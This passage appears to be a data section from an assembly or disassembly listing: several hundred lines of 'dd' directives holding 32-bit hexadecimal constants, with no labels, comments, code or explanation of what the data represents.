		dd 454EB2E6h, 0A50DF9B5h, 87AC30F6h, 14F67DB4h,	0ADE4BCA2h
		dd 8A2F5516h, 822B4EF0h, 7C001B23h, 0AB05A1F7h,	628A166Fh
		dd 1CC00B31h, 2FC123A5h, 1A2355h, 0D6779F6h, 9E033E14h
		dd 30FEF781h, 2B4C50Ch,	0B52B8802h, 0CC27F52Ah,	0E0C58C7Fh
		dd 0BAA60B49h, 0B398C522h, 0C9200121h, 45403D6Dh, 78ADB1D9h
		dd 0A8CC73ACh, 48881CDFh, 15E8435Bh, 3902328Ch,	812006B0h
		dd 0CB030CFh, 9E924A9h,	0BB00AE17h, 0DA72BC90h,	530A108h
		dd 0BF0FC32Bh, 21C6A6F0h, 1816F949h, 0ED98256Eh, 48E99240h
		dd 0D49B4DD3h, 60E99C80h, 1E055DE8h, 0C08B70FAh, 68E1DBE6h
		dd 179901EDh, 30BBF504h, 0B4A4DAEh, 22B43752h, 24BCF691h
		dd 900E603Bh, 0C1284C11h, 56B2BB80h, 62875FCh, 0C9D18EEEh
		dd 0E38DA261h, 92969EFh, 0C69A12D8h, 4B5D00C4h,	55865982h
		dd 51070289h, 0D3D977CBh, 2EEC91B0h, 28D52D5Ch,	3145B21Eh
		dd 5AA14D30h, 8EB17417h, 0C01C884Bh, 0CCB2C91Dh, 0F1B0D02h
		dd 0C2F5B791h, 112B1FA7h, 0D3DE8A14h, 4E21190Bh, 149058C6h
		dd 128C16E8h, 1D07B1Dh,	0BB34CEB3h, 5F53C4FCh, 97BDF93h
		dd 0D7637986h, 810078DEh, 2855ECEEh, 0D9A629h, 8609E39Dh
		dd 0FCB87B85h, 0AC6FBD1Dh, 0A0F339CEh, 1BBB4702h, 2017B02Dh
		dd 0A2C23081h, 609537D6h, 941E2538h, 4C09F4E5h,	460CAD9h
		dd 6181C8EFh, 970702C1h, 6C98398Ch, 61801645h, 31BE1366h
		dd 802CDB3Eh, 4A832AD3h, 4BEE807h, 5EB94871h, 1D408450h
		dd 0B809B38h, 5C34EA87h, 0F6001C46h, 0A860A957h, 0E30382E5h
		dd 0F82AE904h, 0F88C8DFFh, 9D4200CCh, 228DF298h, 914CD2A0h
		dd 4018926h, 8B040630h,	0C04DDBC1h, 0D59723A0h,	59FA02F1h
		dd 75BD0B4Eh, 0BC812270h, 19B3588Eh, 4F701241h,	6861810Eh
		dd 5526D8D3h, 0F4149431h, 4B3E0B00h, 7646D1B5h,	34775A33h
		dd 0B85CADE9h, 3B7724EDh, 90F30923h, 508EEA8Eh,	0CDCA7ABEh
		dd 4B5EAEE8h, 0F8FAB806h, 316EA010h, 872EB606h,	810B0447h
		dd 2C119529h, 99164F83h, 463E246Fh, 0E1D3380h, 50DCE990h
		dd 9BE6BE04h, 48E17576h, 195A0260h, 93650CE1h, 0C5ADEABDh
		dd 0C28A1B10h, 82307B3Dh, 0D31331D8h, 712AA19Eh, 0B49A1814h
		dd 0C9D68B9h, 0D35D02F9h, 68F6C0A1h, 4097D06Fh,	4003221h
		dd 1BE13AEFh, 0FB2023h,	29052FBBh, 0B1EE9535h, 0C5655412h
		dd 0E25FF6B0h, 0B409FCE9h, 4451596Fh, 0F285A6D2h, 0C70240C8h
		dd 3C235AC2h, 208A3A8Ch, 47611060h, 6CC00050h, 7365929Dh
		dd 9008685h, 13E18203h,	241667BCh, 413A890Fh, 7C5E5F51h
		dd 1C92808Dh, 6A03F1h, 4701F8Ah, 57138235h, 8B1EDC02h
		dd 91C919Dh, 0BF05B0E6h, 3337E4CCh, 88A48CA4h, 95172360h
		dd 0A7D22D6Dh, 0A68658C6h, 5D9D16EBh, 0D7E9303h, 0CB7C0BB2h
		dd 0BAAA00E9h, 0D2A5E9B3h, 0E072F613h, 50F807Ah, 79C2DA2Ch
		dd 11E3E04Bh, 0D5BC282h, 7A3ED83Fh, 0B0D73064h,	43E93D94h
		dd 0B8E34C4Dh, 0C60A8C17h, 4E2CD1FBh, 1BCF124Eh, 0CE1688h
		dd 0B52B0576h, 1487B4DDh, 51C0EB8Dh, 21D99589h,	8152AFB4h
		dd 0CB44D74Ah, 6E53AF68h, 18301DA2h, 0EFCC03D4h, 0B4C04852h
		dd 0C8D10FDAh, 6B536111h, 6E333F00h, 8FE03DF1h,	0FDB0BD00h
		dd 6DD08154h, 0F84E043Ch, 0A312BC30h, 0BD0312DCh, 56C5C11Ah
		dd 1D9DC1E9h, 88500303h, 50310F52h, 85A0560h, 61D08B58h
		dd 0F8A87F24h, 19C8F94Fh, 5B3F0087h, 0B2B49B3Eh, 0DB01C189h
		dd 0BD233419h, 778B1B4Dh, 4B2AABE9h, 0B0F20B7Bh, 1D44C6E7h
		dd 0D4123B60h, 19D31E00h, 495425BCh, 251160E8h,	0EF33EEA7h
		dd 6009EE4h, 5B1DAE6Eh,	0F597BC4h, 0BE3A1CEDh, 7F69BD60h
		dd 8D25295Fh, 0E6744031h, 6049AD70h, 74334DE5h,	0EB69202h
		dd 0C01930BBh, 9E1A990Ah, 18CDA790h, 61148EC0h,	0DF5427A3h
		dd 0CF819180h, 1627E321h, 5175926Bh, 7AF0020h, 0F738BEB9h
		dd 0E73AED02h, 5E8B2D25h, 174674B2h, 98F7FD00h,	41BD8B6Ch
		dd 48131959h, 9C212A14h, 75105F4Fh, 8C19B830h, 4EC84702h
		dd 0D80A0B2Ch, 78129B20h, 0D84B2B0Eh, 0F93E88h,	0F5913D68h
		dd 81096447h, 83338h, 83AAEABAh, 0BA36D5CAh, 8BB3122Eh
		dd 0F80045Fh, 0E8258888h, 3F00AAA4h, 0AC0D8FB0h, 1658F1A3h
		dd 137E5B7Fh, 4206E115h, 5259FF89h, 0F14BFFA0h,	0CFEC6A84h
		dd 330509AAh, 0E176CDB0h, 4396037Dh, 0AAE862DEh, 7690F78Bh
		dd 1D853795h, 0A8910BB2h, 0CC4BA09h, 7874DE04h,	148131D5h
		dd 7C260EF9h, 0EEB03B56h, 0E204A867h, 29159D09h, 1B5CD1Ch
		dd 2C21690Dh, 4DA7DD81h
		dd 0F7EBC020h, 7249F3C6h, 0D66E4FAEh, 96F91400h, 3B2362Fh
		dd 2908DD2Eh, 44B0511h,	8D2F2410h, 0F88120D7h, 0A8B1C3E4h
		dd 0BA181BD1h, 0B716DF01h, 2FFF222h, 1F8DBA41h,	3181E478h
		dd 6D13D1B5h, 0ACCF9511h, 6D120EAAh, 66780876h,	2B61C45h
		dd 910802A4h, 0F8580B14h, 2F459502h, 0B19112D9h, 0FCD9B93Dh
		dd 0F61646F8h, 0E48F0AC1h, 9FC01588h, 4B85892Eh, 0D212133Dh
		dd 0FF285FDFh, 2184674h, 10BF38B6h, 44CF5801h, 2F09BB05h
		dd 985DE77Dh, 15DD4Ah, 3DC52935h, 4133086Ch, 84110C0Fh
		dd 0D5017C36h, 0B589F534h, 169F70CAh, 0C4F8615Bh, 0E0D9B626h
		dd 0B651A599h, 1FDD463Eh, 50DCA39Ch, 4A19FB9Fh,	0C80DDB21h
		dd 0DB14CE14h, 0C24D9D12h, 0AFF12B40h, 1E549480h, 2D5B4853h
		dd 0C966B5C1h, 72C52DB4h, 29EC81BDh, 68853125h,	68ABEFDh
		dd 0E92B6F69h, 0EEB32951h, 0FECC3B78h, 77140064h, 600F84D8h
		dd 25C710E9h, 760952Fh,	3CCF7530h, 7E01C511h, 0C658F205h
		dd 0B356ACEh, 11BD0A04h, 53C08B00h, 0D102BE56h,	5E1BF712h
		dd 0BC3CD85Fh, 184674A1h, 2A317F01h, 38570C29h,	44152F13h
		dd 62A095AFh, 16D40FF7h, 1AD15B99h, 3103CC18h, 0FFFCB219h
		dd 9BC65B2Ch, 70DF8771h, 7CFFCCC0h, 64BE05CBh, 0B35FB191h
		dd 3F83CD53h, 7F916E3Ah, 67A25501h, 60F7A4ECh, 46C1202Eh
		dd 514B07D7h, 23DD1CC1h, 8D0A0505h, 6195D039h, 6D2D8529h
		dd 9C8E962Dh, 7500D4C6h, 11B0F45h, 4C63FA03h, 0C94A690Eh
		dd 0B7406A60h, 0AFEA613Dh, 0A63600EBh, 55296570h, 53BB8C42h
		dd 5B7B72Fh, 82AA4E1Eh,	6EEC6199h, 0BE66F502h, 0D4908586h
		dd 2D00DC63h, 756FDC56h, 713D4764h, 80989166h, 6D4BF680h
		dd 5A1CAE55h, 9CC0C7ADh, 9029E668h, 44AE90BAh, 91002D13h
		dd 0C8AD15C5h, 0AA49B4h, 877672E0h, 98E4D674h, 0D3BB932Eh
		dd 8B16D5A2h, 6745658Dh, 5D1D820Fh, 0E4F8BF8Ah,	0E8A79D1Ch
		dd 16FAB7A8h, 5391BD01h, 147A226h, 924D0AA9h, 136BFAF5h
		dd 0AD55C51Eh, 0D4B8CDh, 328A9F2Dh, 0A30EAEC1h,	1D045B5Fh
		dd 810F1241h, 0C8D99FA0h, 0E7EE6150h, 0C7402D00h, 5C8BBE39h
		dd 0C91E4A60h, 0E5A0E4CEh, 83510A06h, 6F4AFCFBh, 0FACBF77Dh
		dd 0BFE35FCDh, 26CD900Bh, 6E4C00EFh, 0EED835BEh, 909F0151h
		dd 978A0F0Ch, 13554698h, 38E4E980h, 0E8AEFFF6h,	0C3F4014h
		dd 0DE04C8B7h, 605F89A4h, 14882A8Eh, 70B92AC2h,	0EF2DE5D8h
		dd 141FFCB8h, 0E081842Fh, 3245E60Ch, 8A0EF170h,	6A0085F9h
		dd 0BE9AF175h, 0E334079Bh, 0F48D2116h, 10B9E902h, 18660305h
		dd 0D9930D79h, 17DD278h, 3102B0FCh, 6B1A559Dh, 0B08D6A4Eh
		dd 0DC3E8B2Ah, 831322B0h, 8D1001E1h, 0FA602661h, 22DCD08h
		dd 1749B533h, 55A2AFF6h, 2809F532h, 9A240820h, 0BAF64622h
		dd 0C08600DEh, 0D11EA202h, 709061F9h, 8F418534h, 6BDF75h
		dd 31B2060Ah, 2CD508B8h, 124D4325h, 0A719ED12h,	0E974A054h
		dd 0C70F8A8h, 0CF684BD3h, 0E85ADF5Ah, 2CEB7090h, 0CA3007B6h
		dd 20786264h, 4D2BC984h, 478D2902h, 0C2F9698Ch,	844F11DEh
		dd 0DA8A8178h, 530864B3h, 0EBFF7B0h, 683B773Fh,	0F0A65F5h
		dd 61EB088Fh, 22E9DB5h,	2425A761h, 0D0DD7309h, 9F587ECFh
		dd 0C5593E73h, 0A9146CBCh, 6BB4DA15h, 836A00ADh, 1E0EF0Ah
		dd 0FA6E289Ah, 0ADCA9ED7h, 3B007537h, 15117FEEh, 0FB262ED1h
		dd 6B0690A9h, 0B35D725Eh, 32BB7813h, 10B52809h,	89D189E7h
		dd 2927900Eh, 9112E495h, 2565A1A8h, 0BE038EB5h,	12547760h
		dd 7514E558h, 3611B5C6h, 8E0F7EEh, 1366F78Bh, 0D68C0F58h
		dd 69965A81h, 0F6DEDB63h, 959C84CCh, 0ACC0146Dh, 24A24171h
		dd 7A5020DBh, 1D4145Ch,	8B557F12h, 222D21BDh, 0E2264250h
		dd 9DFD3015h, 1AE88B72h, 8AC6D93h, 28332D08h, 12679520h
		dd 0AF6019E4h, 0E2185FC4h, 514EE780h, 17C48713h, 0B7418C60h
		dd 26B2E758h, 0D6A0D7BDh, 845E5282h, 0D7400DCh,	0B98AB433h
		dd 83B8F55Bh, 27DBF853h, 112D1F25h, 15E0801Dh, 38E8B1DAh
		dd 448A3174h, 65858BBFh, 3B352DF5h, 3E7EF16Ah, 41C0535Ah
		dd 8A23E295h, 2DEC711h,	195556B4h, 3F5B85C7h, 12B2B7A5h
		dd 0B4648847h, 0BA003776h, 0CB9A4CBBh, 3A5846h,	791EFA24h
		dd 0A8C983FFh, 9640598h, 6EAA617Dh, 227302E2h, 40849C16h
		dd 39BF1F0h, 6107EB96h,	0B784E99Dh, 190DB0A2h, 4FE10BA6h
		dd 6007AF1Fh, 30BF31DFh, 0F1CC2678h, 7A78A35Dh,	0CF97CD83h
		dd 0E379EAC8h, 9F450500h, 0EBC18B52h, 910014Bh,	0C53C2F0Eh
		dd 0ACDAE01Ah, 0D41CA407h, 0E4175CD2h, 3134CE00h, 0F1B75F5h
		dd 0D129B327h, 0C7DD5B20h, 177CE62Ah, 67F4DFFCh, 53A6DB38h
		dd 4128E001h, 0D42701E6h, 0E9C3727Dh, 4BA17C53h, 51823FDBh
		dd 6242DCF7h, 0CD4E7A56h, 0D9240DB1h, 952B8815h, 28416559h
		dd 8B7B49B8h, 781054Eh,	0F9C104C2h, 6E2EC0E9h, 6993E35h
		dd 0BFCB5EAh, 211228Dh,	12097531h, 74100D65h, 53635013h
		dd 70D0B870h, 9D8D047Eh, 0B809A87Ch, 585B1550h,	2111881Ch
		dd 0A7C9881Ah, 807037C9h, 0AA3D23E6h, 0F35FD89Ch, 0ED809BDBh
		dd 0DCA483ACh, 5BFE1516h, 1049130Eh, 0A2800F13h, 208C2159h
		dd 7B94B3BAh, 0D9314600h, 87D03B45h, 8D0B2F3Eh,	85A2BF2Eh
		dd 0E05612D5h, 0E4113F3Bh, 0BE815018h, 1C2AA854h, 359DC5E8h
		dd 921A0812h, 7D88299Dh, 4428A82Dh, 0F56B8A02h,	12513Dh
		dd 0BBEB421Ah, 8F5BEF3Fh, 0F32F0D09h, 0DD23006Eh, 19F9E168h
		dd 0B5B86A03h, 18BEFA0h, 36B966DDh, 8DF18077h, 8BBD8596h
		dd 61B8CD69h, 9C5C2701h, 0DBD29CAh, 6F9A7525h, 0B45C6008h
		dd 50D10CB3h, 4861386Dh, 0F8C8A321h, 2BA6681h, 4161C69Ch
		dd 1477570h, 8B68DC8Ah,	38C7B0B6h, 932A80B5h, 38F814Dh
		dd 0B57CAB54h, 0C55FD1h, 0E9F1479Bh, 8A4E0F0Ch,	0CB601E4Ah
		dd 0F8839309h, 2184B571h, 6D15A1BDh, 5CB8DFh, 110717CCh
		dd 798D89CDh, 203B1841h, 21556E28h, 805AA93Ah, 4F4BC8BAh
		dd 1454959h, 0DB52FABh,	20E123EAh, 702FF40Ch, 0E15DED0Ah
		dd 0F89A8A77h, 0D1226CFh, 3C045CCEh, 0FF051905h, 51D304D0h
		dd 0CAF90A0Eh, 58B3C420h, 0B3F4C6D9h, 0BADC03D3h, 3595898Eh
		dd 880F6F14h, 815180D4h, 162F56F3h, 0F596840h, 0D149F77Fh
		dd 30550502h, 8B08AE19h, 0D204D949h, 0C9E03FE6h, 1FB4BBBFh
		dd 27F27A60h, 0D030FB97h, 681240A5h, 350181F8h,	90EFB9C4h
		dd 34E00BE8h, 2C987324h, 8054E3Ah, 1D292D7Dh, 48B54Bh
		dd 0E010CD1h, 88CB7F4Ch, 0B2F24211h, 1EC9804h, 0EC6318E0h
		dd 518F4E80h, 0E1EAE3Bh, 0A52D6DBh, 0F05F06Fh, 0B002D3B7h
		dd 88056CC2h, 0BF40B0F1h, 50CE1C12h, 43F1BB1Ah,	2B95220Dh
		dd 0FBAC8B1h, 2DE50956h, 41915D05h, 57CADE31h, 7C61C560h
		dd 5CDA80BCh, 0EF30C1h,	9BA281B6h, 953B28D8h, 3F909400h
		dd 5FE086AAh, 0AB5A5461h, 1E32C914h, 2743CA01h,	8BAA58F8h
		dd 0CD099D2Ah, 1CC48DADh, 762CAB60h, 4CED8902h,	60A9FC64h
		dd 822859BDh, 8AD29D0Ch, 8B0FE811h, 92615C70h, 16968529h
		dd 466FA201h, 816C0093h, 270A11E2h, 0A7680117h,	8A5DD07Fh
		dd 0DC4734F1h, 7D34F012h, 2E45C804h, 2939B542h,	0C18A1274h
		dd 27397718h, 919B9D38h, 0CEBF8518h, 18BB86C3h,	650E05BEh
		dd 1651A58Dh, 0F8063A79h, 5826492Fh, 9D8363C1h,	7F240C59h
		dd 693FEA04h, 0B0BD1843h
		dd 0C2E10EC3h, 0D645A0EEh, 0E5C60h, 77B368BFh, 0AA2403B1h
		dd 93381558h, 9AF2E85Bh, 0B639005Bh, 0B9B250AEh, 6C0A51B3h
		dd 902DC3C5h, 1C516FB6h, 8011528Eh, 0FA5178Ah, 0AB52FA7Bh
		dd 0DA8B0985h, 99D158h,	367A758Dh, 590FC117h, 4A42DC7Bh
		dd 67802A72h, 1F71C222h, 55EC91h, 0F28C3A70h, 0BB685A39h
		dd 0D0546D90h, 0EC7045E0h, 0A8303054h, 93AFC200h, 0BCA5F260h
		dd 0E65A12B1h, 212C048Bh, 0E0681E0Dh, 10D6B359h, 31512641h
		dd 0BFC28FAh, 91110CFDh, 278414CDh, 0DC585403h,	0BA8EF809h
		dd 0FAE40E68h, 0ACD226DEh, 5FD30451h, 0D0B86A5Bh, 268C15E8h
		dd 83FC2AAh, 68012E35h,	6502B9CCh, 0E9DD325h, 0B589C603h
		dd 449DD9C9h, 10500EA7h, 0B42FEE48h, 4BC964A0h,	0F4F98B3Eh
		dd 595DCEB6h, 0E2365062h, 0C4BA6927h, 1C901FCh,	19A06FA1h
		dd 0C0FFC133h, 473254CBh, 4C0BCE2Dh, 9A8BA03Eh,	0C80EF712h
		dd 9AB7C01Ah, 8CE258C4h, 0D9F40862h, 0F90001Dh,	2FCB278Fh
		dd 86F160h, 2D6759A5h, 5E58E520h, 0B855C5EAh, 0DE49D9C0h
		dd 1D8977FBh, 0C3E47CCAh, 0A395E868h, 50614506h, 22625F57h
		dd 0FC5C0185h, 93BD4CDEh, 53CBBCACh, 18403AF8h,	0B58D1A5Bh
		dd 64FF6A4h, 1547CC40h,	315B04B7h, 103ADB5h, 50FD8A96h
		dd 40DAC8CDh, 821CB943h, 0D01F15D4h, 0DFF8BBB9h, 7200566Eh
		dd 0BE9C90DBh, 6CF530A5h, 1E45105Eh, 0C1D7875Ch, 1305570h
		dd 536EB529h, 8A6849AAh, 25FDE244h, 0DF6F6F90h,	0C549D900h
		dd 5632F19Dh, 0F970B58h, 7A85C7CEh, 95DC5159h, 800BD019h
		dd 0E50207Eh, 7573ACF3h, 0B56040B8h, 9E0F46B7h,	8830F21Fh
		dd 9454FAh, 0ED85131h, 817FDE25h, 5DEEC909h, 4200474h
		dd 0F2BB6640h, 46028D82h, 5DBD8920h, 4522642Eh,	0ECF807C9h
		dd 2A61E9A5h, 0F58D333Dh, 402F1B2Ch, 0DCC0C84Dh, 208D0140h
		dd 802E0EC9h, 0D3962438h, 0BF62DD87h, 0CDA384FAh, 974B1AC8h
		dd 80BFF43Dh, 0CA93B992h, 4C690C5h, 0F9FC8B36h,	0E15DB648h
		dd 0C1FC574Bh, 0C58019A8h, 425CC44Ah, 415168F2h, 2F1AF999h
		dd 88F65B02h, 1CE21EF6h, 0D6A38061h, 0BA663309h, 3B9B2914h
		dd 830FC2DAh, 0DEA2A993h, 8C00DC85h, 0A15AAA0Bh, 31A7A8D2h
		dd 0CECA149Ah, 0CA72040h, 2B598Ah, 66169C68h, 2E128449h
		dd 0D4D5BD83h, 29927A4Dh, 40C9C960h, 0F4588A32h, 1BB0940h
		dd 73F2A927h, 1DBE7059h, 32512B0Fh, 42B92076h, 4E5E85A5h
		dd 0ED182403h, 9FB81Ah,	0AF3DE51h, 0EFF72AFFh, 0C6FA8B1Ah
		dd 0A0375522h, 21E0CF00h, 4F87ACEh, 958D8B58h, 13E61004h
		dd 9F0208FEh, 0D4EA1DB9h, 0DF8B02F5h, 0C180310Fh, 90585ADEh
		dd 0B92FD890h, 0DD5CA20Ch, 34295918h, 1A9187F3h, 3683260Ch
		dd 0CB754819h, 4FB7C048h, 2057924Eh, 0E6ACD181h, 9435C4Eh
		dd 87CD6125h, 0C94280C0h, 7278A9h, 0FB0751C6h, 3813E381h
		dd 0E314B2Ch, 59CB9924h, 1819F95Bh, 0F390569h, 0DC2F0BCFh
		dd 0F129B58Ch, 0CE02AE15h, 5562E91Eh, 29815E3Dh, 9EC23187h
		dd 98C4ECD0h, 0C42D544Fh, 59304BBh, 0EA61428Ah,	4B0BA86Eh
		dd 2900C911h, 1CC681D6h, 0E547015Fh, 0E9A213F1h, 88FDC3D7h
		dd 7368CF8Bh, 0B392257Eh, 5EABA290h, 41591700h,	0B74F09FAh
		dd 70270015h, 508A35FCh, 0AA5C088Dh, 0EBF8C043h, 3FD59h
		dd 8B0C7316h, 46E524FBh, 0BFADC200h, 9C66C33Fh,	363945Bh
		dd 4C6DB082h, 0B7D7940Dh, 3961EC56h, 0FF5F923Fh, 4B2B2C6h
		dd 80523FA2h, 0F7459981h, 4A020D53h, 1EACCFC8h,	0C10CF308h
		dd 80C98B2Ah, 50A33090h, 5E5CB13Bh, 0C6006E6Eh,	84722EEAh
		dd 0BAB4E059h, 79A7B36Ah, 0AE590065h, 7BE6ED6h,	2BFC1E00h
		dd 798FDCF6h, 0BF6B01DEh, 4F9BF949h, 0BBCB205Bh, 6A5F330Bh
		dd 2FBD7123h, 0A30507B7h, 0D38102AAh, 0A945D1B7h, 0B6007689h
		dd 0B41BC2EAh, 1536FFCh, 2A031C48h, 40A04D50h, 75268318h
		dd 3233657Fh, 0B0BA9753h, 0A10BA9D6h, 9EA4DC8h,	6B00DC79h
		dd 28C0AC3Ch, 0FDDE0073h, 0A7A57FA2h, 921FE231h, 0D1A48B44h
		dd 0D7D402DEh, 94557335h, 317D0041h, 0EC3F6D4Bh, 0E2648DE3h
		dd 409A2F2Dh, 80847B80h, 72097A29h, 82FC9278h, 1B2C7934h
		dd 0E89BF99Ch, 2B930008h, 0EA5AADBFh, 22BDB501h, 59565809h
		dd 5AF98201h, 355008C2h, 0D4316920h, 4175137Ah,	0DEA36013h
		dd 0A55BEAB8h, 81752B48h, 0D88C6660h, 3A086AA8h, 0F3014435h
		dd 9E374E2Dh, 0E54ED0C6h, 0FE7105DFh, 0D10CEFC1h, 0B920047Ah
		dd 57021EFAh, 0B2350D9Ch, 0A893A04h, 0B0A73248h, 13DF6814h
		dd 0CDA9C530h, 143F0AE3h, 310E2831h, 6A500DA9h,	56057C8Dh
		dd 6112006Eh, 0E075C1C3h, 844EB79Dh, 0A58F0FC8h, 5994C60h
		dd 0B004CD00h, 60EA781Ah, 75A201E3h, 92C5BCB9h,	0B3333Dh
		dd 0F05386AFh, 7676DF5Ah, 0DB34008Ah, 0B36630C2h, 0F9146735h
		dd 0EDFA777h, 0C93EC9BEh, 9090155Eh, 0A038C819h, 302D2290h
		dd 0AAA89D12h, 8A179678h, 975F201Ch, 1D23DB6Eh,	4A71A700h
		dd 0BC809DDh, 1E7039F0h, 1B8C3880h, 0B7B72F69h,	9459030Dh
		dd 7E4A8464h, 0B90AEAE3h, 2C8CAE73h, 0A25D15B1h, 8A5E83Ch
		dd 8281BF3Dh, 0E8BF804Ah, 5B4EF8D6h, 8B6C11E1h,	0D70026BCh
		dd 0C23DCB67h, 1AD137B2h, 0A738E8D0h, 487054D3h, 0B9EC00CAh
		dd 4A3E2865h, 85173174h, 0A2D21B41h, 0DBB94A59h, 85B37086h
		dd 0E5E8C612h, 7AE6FF85h, 2B43A7E1h, 0D0DD2EE0h, 0D45DDE95h
		dd 100ECBCh, 0FD8765EEh, 0B98D3591h, 6600BB89h,	0AFD96B36h
		dd 32003E60h, 537B966Dh, 4810597h, 0F396217h, 0C79DE88Ch
		dd 5F11E2EFh, 0E98171E8h, 0DFA498BFh, 19B08B0Fh, 407AEF03h
		dd 861ED1BDh, 0A6A51C12h, 179A4C8h, 92CE099Bh, 0F4BE5B38h
		dd 46185D78h, 29252EE8h, 2F3D2985h, 312D0FE6h, 0C0689BB6h
		dd 796D2728h, 5D5600ECh, 0F11CBE52h, 59087FB2h,	2806F4E8h
		dd 184D28AEh, 13D5203Ah, 6D0110B7h, 10AE1C6Bh, 0FCC5C086h
		dd 0A7A21538h, 0E8B6740Ch, 0BC5349D0h, 0B1091286h, 0AB6E6F71h
		dd 0D8C67A01h, 0C564746Dh, 0B4046A54h, 0CE1D2E85h, 0E82661F9h
		dd 0B7977795h, 7AE80118h, 6009642Bh, 7EA10376h,	3A26356Dh
		dd 4E800D9Bh, 0B9C29A6Dh, 40C8634Fh, 703B0025h,	3C0BCE20h
		dd 0F100F7CCh, 0BC60FDE4h, 3A888A2h, 6EBF665Dh,	0EE105918h
		dd 0E81A06E1h, 8456E722h, 0C82700DCh, 0BD1157AEh, 89744592h
		dd 770F3D28h, 0BF128D20h, 0EBE80681h, 14A46905h, 10142891h
		dd 306214Dh, 9D05EDBDh,	0BE2FD460h, 495DCE2Bh, 19271F65h
		dd 1C64E1C7h, 690D7A60h, 7289E500h, 8BA01365h, 9EE835F1h
		dd 6B6EAB6Dh, 2201D800h, 8316534Ch, 0E19D8909h,	0B1D5FA04h
		dd 0DC0B3B9h, 0F57AAEC4h, 0BD09C005h, 0E885D16Dh, 0EDB9AF42h
		dd 92EDC03Ch, 2706FD55h, 1D8D0B28h, 0AAF5629Dh,	4F7C045Dh
		dd 40190BF4h, 0A70091CDh, 0ECE8A0D9h, 30A11BAh,	0FF19598Dh
		dd 121A4943h, 7B04DBCFh, 0FE02447h, 7B02700h, 99E9E890h
		dd 0C4141FC9h, 0C0B25A65h, 197FEECEh, 0CDD7AC4h, 0C57ABFh
		dd 0FB3CA8D1h, 61C5A47h, 0ADBD3339h, 7543CD28h,	0B6301CF2h
		dd 0A2DF03E6h, 0F2378D19h, 0D610BAAEh, 4D10A56Dh, 0DF027A05h
		dd 71AF65DDh, 0DECB7CB0h, 68BBA600h, 0BE820E1Fh, 398D3AB3h
		dd 0C49F400h, 0ADB52971h, 0BBFBA9Ah, 0C004CDA1h, 0D3E5DBEDh
		dd 0D7CCEE61h, 527F82BBh, 0BCDBFD97h, 0B98D0E33h, 0E0274B64h
		dd 0EB497431h, 7BE79F5Fh
		dd 7DD97074h, 0FE20712Eh, 9CBC3913h, 6DB2E1D7h,	0BD2B8B6h
		dd 0D82B8873h, 9707853h, 9BEFCF7h, 78F8D665h, 9300AB76h
		dd 0FFBA6050h, 5ADA13EDh, 9AE490E8h, 0F301DB33h, 645D5E71h
		dd 58D456AFh, 8B931761h, 63EBE3F8h, 0A2E49242h,	7111E013h
		dd 5B618027h, 8FB195F0h, 4D9E8D1Dh, 0F69A64h, 0E7368A6Bh
		dd 7BD3E0D1h, 21850F28h, 0F313B7ECh, 396F1A89h,	72341C00h
		dd 55BD8B62h, 8905A99Ch, 32F60442h, 30DD3AE1h, 385AE55Fh
		dd 800189B1h, 0DE3B1369h, 2CB08BF7h, 5A0FE686h,	0DABDC986h
		dd 637AE130h, 0AE8BFBAh, 1F6D1B00h, 543B39FDh, 79E912F7h
		dd 31EBA6A0h, 3299A45Eh, 0E2D2D25Eh, 49EF0A51h,	8508A883h
		dd 0A61A9716h, 3CFFE065h, 0BEC52E60h, 1AF188B9h, 15895E31h
		dd 0F35B6103h, 1480E1DBh, 85619E54h, 377A5C05h,	0C0C19C89h
		dd 90406E5h, 927EB98Dh,	0ECBA00F6h, 0E37E4B89h,	0C051F5E0h
		dd 0E7D80088h, 0BFD6A723h, 0B8927BDBh, 0F6AD00F8h, 1BF5DD1Eh
		dd 0ED85B597h, 0D05F1F0Bh, 15A14C1Fh, 92C9147Dh, 6104C86Bh
		dd 0C0E59BD5h, 23E9BD08h, 0D3FEC4B5h, 3C46FCBh,	0C23B9FE4h
		dd 60A2A9D0h, 0B7808F40h, 0B10F3C58h, 0ECBDCAE4h, 756E5B62h
		dd 967E340Bh, 0A91A5385h, 4ED4B8ACh, 256DB062h,	82010141h
		dd 1B331D69h, 31C1EC40h, 49B201DBh, 0BF607F27h,	0BFB390h
		dd 32E88FE5h, 69137C67h, 98D7A6F4h, 0CD4BF16Eh,	0D347782Eh
		dd 4C14605h, 0B1B04F58h, 1F0E910Ch, 0B51F7121h,	28D7623Dh
		dd 1A7BE6BFh, 30819513h, 812E8A75h, 45011A23h, 43A03940h
		dd 65E96DC8h, 0E1B11FABh, 5FDB2AE5h, 63558083h,	46CFAE34h
		dd 4336EABh, 99D8903h, 0DC6A2CD2h, 700DE64h, 0DF167792h
		dd 3DBFD852h, 42B489B3h, 129CB84Eh, 87B91D21h, 0ADC16BE9h
		dd 2902281Dh, 2B043DD1h, 86D6618Dh, 0C58A2F28h,	3FC0846Dh
		dd 39E95E65h, 0C6A75AE2h, 0EA061290h, 438EE3Ch,	0C08B82A8h
		dd 26E0C1F6h, 963F5AC1h, 151050Ah, 0B9B02585h, 0F43DB65Fh
		dd 823A921h, 84D4AB0Fh,	6EB05B20h, 18233Dh, 54581040h
		dd 316450B2h, 0DB530BE6h, 608B8FDAh, 7BA8E6F9h,	533BECBDh
		dd 8838CFB1h, 6E2EEE82h, 908974C6h, 0E26CC3D6h,	0AC04E109h
		dd 0D6E0117Eh, 5FA52A50h, 0CFF9430Eh, 0A4039739h, 0C84BA1BBh
		dd 0CCDFD824h, 60AF3E73h, 0F098B6DEh, 2C9A0FFh,	0DFE6FDFh
		dd 4D54DA5h, 1AEC899Ch,	2C88858Fh, 7D14467Ch, 1D27DDB0h
		dd 0F4712Fh, 905FEB80h,	295DA8Bh, 54ABB7BBh, 98917A3h
		dd 70706854h, 88D8BF09h, 134BF01Fh, 74CDBD29h, 0A8BDAD0Bh
		dd 121C0045h, 0EB81599Fh, 1B27B12Eh, 0BBDE7011h, 837CDA09h
		dd 2FCEDB1Eh, 939D228Dh, 0DB37570Ah, 4A769F80h,	1111D3Ch
		dd 66D1FFF9h, 7A87D7BFh, 4011C32h, 7E8B4B76h, 26A42C1h
		dd 0EFE0F0EDh, 90A8DEAh, 5BF85749h, 4EA4DFD8h, 85133894h
		dd 0A1F60A13h, 2CD5C8F0h, 2B3C7802h, 0D90C35B6h, 0DBBF0021h
		dd 585FBA6Fh, 31B2D3Bh,	6E4A787Ah, 55E010AAh, 21E92603h
		dd 625E7127h, 0FB122CAFh, 0AAF853ECh, 0F409CAA0h, 719F7Ah
		dd 21C81112h, 0C9C1A03Ch, 870F27CFh, 7C24A066h,	30495E4h
